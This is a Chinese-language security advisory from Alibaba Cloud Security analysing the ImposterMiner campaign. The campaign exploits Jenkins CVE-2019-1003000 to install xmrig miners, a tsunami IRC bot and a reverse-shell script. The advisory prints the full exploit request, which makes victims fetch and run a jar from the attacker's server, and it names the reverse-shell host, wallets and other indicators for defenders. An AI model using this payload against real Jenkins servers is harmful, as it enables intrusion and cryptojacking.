简介
阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件。除挖矿外，攻击者还曾植入具有C&C功能的tsunami木马，也预留了反弹shell的功能，给用户带来极大安全隐患。
由于攻击者直接复制了Jenkins系列漏洞发现者（Orange.tw）在博客上公布的poc，攻击payload含有"Orange.tw"字样，可能被误认为是漏洞发现者在进行测试，因此我们将木马命名为ImposterMiner（冒充者）。
本次事件具有两个特点：一是ImposterMiner木马开始爆发的时间距离Jenkins漏洞利用方法公开的时间极短，仅相隔2天；二是仅靠web漏洞直接入侵，不具有蠕虫传染性。这两点与不久前利用Nexus Repository Manager 3新漏洞进行攻击的watchbog挖矿木马事件较为相似。
本文将分析ImposterMiner挖矿木马的结构，并就如何清理、预防类似挖矿木马给出安全建议。
ImposterMiner挖矿木马分析
上图展示了ImposterMiner挖矿木马的感染流程。攻击者首先使用如下payload攻击jenkins服务
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host:【victim_host】:【jenkins_port】该payload使用了CVE-2019-1003000这个jenkins RCE（远程命令执行）漏洞，导致受害主机请求http://45.55.211.79/tw/orange/poc/8/poc-8.jar文件，并在本地执行。这里不难发现，攻击者只是简单修改了漏洞发现者博客上公开的代码，因而直接以orange.tw（漏洞发现者的名字）和poc(Proof of Concept，能够证明漏洞存在的代码，通常点到为止不造成实际损害)作为项目和模块名，乍看之下，非常容易将此次攻击误认为漏洞作者进行的无害的安全测试。
poc-8.jar的代码如下
其中请求的http://45.55.211.79/.cache/jenkins/n2.sh脚本，将会创建/tmp/.scr文件夹，并请求下载45.55.211.79/.cache/jenkins/s.tar.gz：
解压s.tar.gz得到如下左图所示文件夹，并运行右图中的go脚本，根据当前机器的架构，选择运行i686或x86_64。
i686和x86_64这两个程序都是xmrig改写而成的矿机，主要在nanopool.com矿池进行挖矿。它们还会将自身写入crontab文件，每分钟执行，进行持久化，此处不再赘述。
此外，45.55.211.79服务器上存有多种历史上曾经使用，或尚未启用的payload。
例如3月7日，阿里云安全曾捕获到攻击者使用图中文件夹poc/5/poc-5.jar中的payload，会导致被入侵主机下载解压并运行http://45.55.211.79/.cache/jenkins/jks.tar.gz。该压缩包中包括tsunami木马变种，能够通过IRC接收下发指令并执行各种攻击，如下图所示。
又例如http://45.55.211.79/.cache/jenkins/jen.pl会使被入侵主机反弹shell到190.121.18.164:1090
以上这些恶意文件的最后修改日期说明ImposterMiner的作者依然在频繁进行更新，同时还说明作者并不满足于在受害者主机上安静挖矿，而是时刻准备着将受害主机用作ddos肉鸡，或使用shell对主机进行任意操纵。
影响范围
根据阿里云安全监控到的入侵趋势（如下图），ImposterMiner挖矿木马从漏洞公布后仅两天（2月21日）就开始利用其进行攻击和挖矿，给用户留下的修复时间窗口非常小。
攻击数量于3月3日左右达到最高峰，并且至今仍保持着较高的水平。
攻击趋势示意攻击趋势示意
ImposterMiner恶意挖矿木马当前使用的钱包地址为：42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
从矿池数据看出，该地址HashRate波动较大，最高时达到236KH/s，平均值在150KH/s左右，可能已有1~2万台服务器被入侵挖矿。该钱包地址累计收益为169门罗币左右，约合9120美元。
除了上述地址外，攻击者还使用过至少一个不同的钱包地址：4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5。
安全建议
Jenkins作为最受欢迎的持续集成(CI)工具，使用量很大。上一次Jenkins远程命令执行漏洞(CVE-2017-1000353)的曝光，导致了“史上最大规模挖矿事件之一”，攻击者收益逾300万美元。
因此，Jenkins漏洞可能造成影响的范围巨大。这也导致逐利的攻击者对Jenkins虎视眈眈，一有新的漏洞便迅速加以利用；这次RCE漏洞从公开到开始被黑产利用仅花了2天，就是很好的证明。
针对此次安全事件，阿里云安全给出以下预防和清理建议：
- 用户应及时升级包括Jenkins在内的各种软件，避免遭受类似此次ImposterMiner挖矿木马以Jenkins作为入口的攻击，导致生产系统的其他部分一并沦陷。怀疑已经受到感染的用户，可自查主机是否存在/tmp/.scr恶意目录，并根据自身情况考虑清空/tmp目录；使用ps命令查看是否存在名为"-bash"恶意进程；自查并清理crontab相关文件。
- 建议使用阿里云安全的下一代云防火墙产品，其阻断恶意外联、能够配置智能策略的功能，能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明，下载、挖矿、反弹shell这些操作，都需要进行恶意外联；云防火墙的拦截将彻底阻断攻击链。此外，用户还可以通过自定义策略，直接屏蔽恶意网站，达到阻断入侵的目的。
- 对于有更高定制化要求的用户，可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务，定制适合您的方案，帮助加固系统，预防入侵。入侵事件发生后，也可介入直接协助入侵后的清理、事件溯源等，适合有较高安全需求的用户，或未雇佣安全工程师，但希望保障系统安全的企业。
IOC
钱包地址：
4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
矿池地址：
https://www.supportxmr.com
https://xmr.nanopool.org
恶意程序：
恶意url：
http://45.55.211.79/.cache/jenkins/*
http://45.55.211.79/tw/orange/poc/*
恶意主机：
190.121.18.164
Reference
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/
本文作者：悟泛、目明